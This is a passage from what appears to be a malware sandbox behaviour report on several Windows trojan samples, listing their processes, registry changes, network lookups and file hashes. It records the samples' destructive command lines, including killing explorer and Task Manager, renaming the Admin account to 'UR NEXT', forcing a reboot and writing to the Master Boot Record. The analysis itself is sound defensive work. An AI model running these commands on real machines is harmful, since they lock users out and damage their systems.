Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4480 wrote to memory of 3700 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 4480 wrote to memory of 3700 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 4480 wrote to memory of 3700 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 3700 wrote to memory of 2228 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3700 wrote to memory of 2228 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3700 wrote to memory of 2228 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3700 wrote to memory of 436 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3700 wrote to memory of 436 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3700 wrote to memory of 436 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3700 wrote to memory of 1560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 3700 wrote to memory of 1560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 3700 wrote to memory of 1560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 3700 wrote to memory of 5016 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 3700 wrote to memory of 5016 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 3700 wrote to memory of 5016 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='UR NEXT'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'UR NEXT'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa39bd855 /state1:0x41c64e6d

Network

Country Destination Domain Proto
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 5.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 138.201.86.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 138.91.171.81:80 tcp

Files

memory/4480-0-0x00000000749C0000-0x0000000075170000-memory.dmp

memory/4480-1-0x0000000000930000-0x0000000000FDE000-memory.dmp

memory/4480-2-0x0000000005A40000-0x0000000005A50000-memory.dmp

memory/4480-3-0x0000000006070000-0x0000000006614000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\windl.bat

MD5 a9401e260d9856d1134692759d636e92
SHA1 4141d3c60173741e14f36dfe41588bb2716d2867
SHA256 b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7
SHA512 5cbe38cdab0283b87d9a9875f7ba6fa4e8a7673d933ca05deddddbcf6cf793bd1bf34ac0add798b4ed59ab483e49f433ce4012f571a658bc0add28dd987a57b6

memory/4480-11-0x0000000005A40000-0x0000000005A50000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

memory/4480-22-0x000000000C390000-0x000000000C3C8000-memory.dmp

memory/4480-23-0x000000000B900000-0x000000000B90E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\rniw.exe

MD5 9232120b6ff11d48a90069b25aa30abc
SHA1 97bb45f4076083fca037eee15d001fd284e53e47
SHA256 70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be
SHA512 b06688a9fc0b853d2895f11e812c48d5871f2793183fda5e9638ded22fc5dc1e813f174baedc980a1f0b6a7b0a65cd61f29bb16acc6dd45da62988eb012d6877

memory/4480-29-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-30-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-32-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-34-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-35-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-36-0x000000000CA50000-0x000000000CA60000-memory.dmp

memory/4480-37-0x000000000CA50000-0x000000000CA60000-memory.dmp

memory/4480-39-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-40-0x000000000CA50000-0x000000000CA60000-memory.dmp

memory/4480-41-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-42-0x000000000CA50000-0x000000000CA60000-memory.dmp

memory/4480-38-0x000000000C3D0000-0x000000000C3E0000-memory.dmp

memory/4480-43-0x00000000749C0000-0x0000000075170000-memory.dmp

memory/4480-44-0x000000000CA50000-0x000000000CA60000-memory.dmp

C:\Users\Admin\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N1XT.txt

MD5 9037ebf0a18a1c17537832bc73739109
SHA1 1d951dedfa4c172a1aa1aae096cfb576c1fb1d60
SHA256 38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48
SHA512 4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

C:\Users\Admin\AppData\Local\Temp\one.rtf

MD5 6fbd6ce25307749d6e0a66ebbc0264e7
SHA1 faee71e2eac4c03b96aabecde91336a6510fff60
SHA256 e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690
SHA512 35a0d6d91178ec10619cf4d2fd44d3e57aa0266e1779e15b1eef6e9c359c77c384e0ffe4edb2cde980a6847e53f47733e6eacb72d46762066b3541dee3d29064

memory/4480-863-0x00000000749C0000-0x0000000075170000-memory.dmp

Analysis: behavioral16

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win10v2004-20240226-en

Max time kernel

44s

Max time network

116s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1576 -ip 1576

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 488

Network

Country Destination Domain Proto
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp

Files

memory/1576-0-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1576-1-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral31

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

117s

Max time network

146s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Signatures

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2344 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe
PID 2344 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe
PID 2344 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BE8E.tmp\BE8F.tmp\BE90.bat C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\BE8E.tmp\BE8F.tmp\BE90.bat

MD5 f2d5cf0bf3d6ec8c6d5dc97af835c5e5
SHA1 5b60f43fa6d5810bad58de5f06a0f84dd4aa9bf6
SHA256 31ee6e28c82ab165ca3048aec9a88c8590d6f0b94b88e7f87b6ec36d2fa0a24c
SHA512 075fb8005c93d9f61dfa07b41424591ff518a6f9c8a1fff74d1e6df39ec56377e48208e08a01485eafeced2880a4b18061ddfa637611a89ce3f252580c2deff9

Analysis: behavioral32

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win10v2004-20240226-en

Max time kernel

145s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3960 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe
PID 3960 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\54C7.tmp\54C8.tmp\54C9.bat C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 195.177.78.104.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 64.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 68.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 50.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 15.173.189.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\54C7.tmp\54C8.tmp\54C9.bat

MD5 f2d5cf0bf3d6ec8c6d5dc97af835c5e5
SHA1 5b60f43fa6d5810bad58de5f06a0f84dd4aa9bf6
SHA256 31ee6e28c82ab165ca3048aec9a88c8590d6f0b94b88e7f87b6ec36d2fa0a24c
SHA512 075fb8005c93d9f61dfa07b41424591ff518a6f9c8a1fff74d1e6df39ec56377e48208e08a01485eafeced2880a4b18061ddfa637611a89ce3f252580c2deff9

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:34

Platform

win10v2004-20240226-en

Max time kernel

145s

Max time network

193s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1276 wrote to memory of 3888 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe C:\Windows\system32\cmd.exe
PID 1276 wrote to memory of 3888 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1095.tmp\1096.tmp\1097.bat C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 5.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 114.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 18.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\1095.tmp\1096.tmp\1097.bat

MD5 cffeffdd19a93f72fce9ae0b27fc7d41
SHA1 d51f874d7e1dbce87a6615db19e3bb3cd7918050
SHA256 f66989c140003a23e046dc0fd1f14d3ffee42e55b86c6f406c23406090005fbc
SHA512 197241112fd18486acbddeee1211ed801bbc1fb061b1a4a4917f67b7855c015d6ebf60ae16226733ecccd95d8ecd95c65c9eb49dbf1a9443076c4193380ac26b

Analysis: behavioral15

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

3s

Max time network

14s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Network

N/A

Files

N/A

Analysis: behavioral25

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:32

Platform

win7-20240221-en

Max time kernel

69s

Max time network

90s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

Signatures

Disables Task Manager via registry modification

evasion

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.png" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2536 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
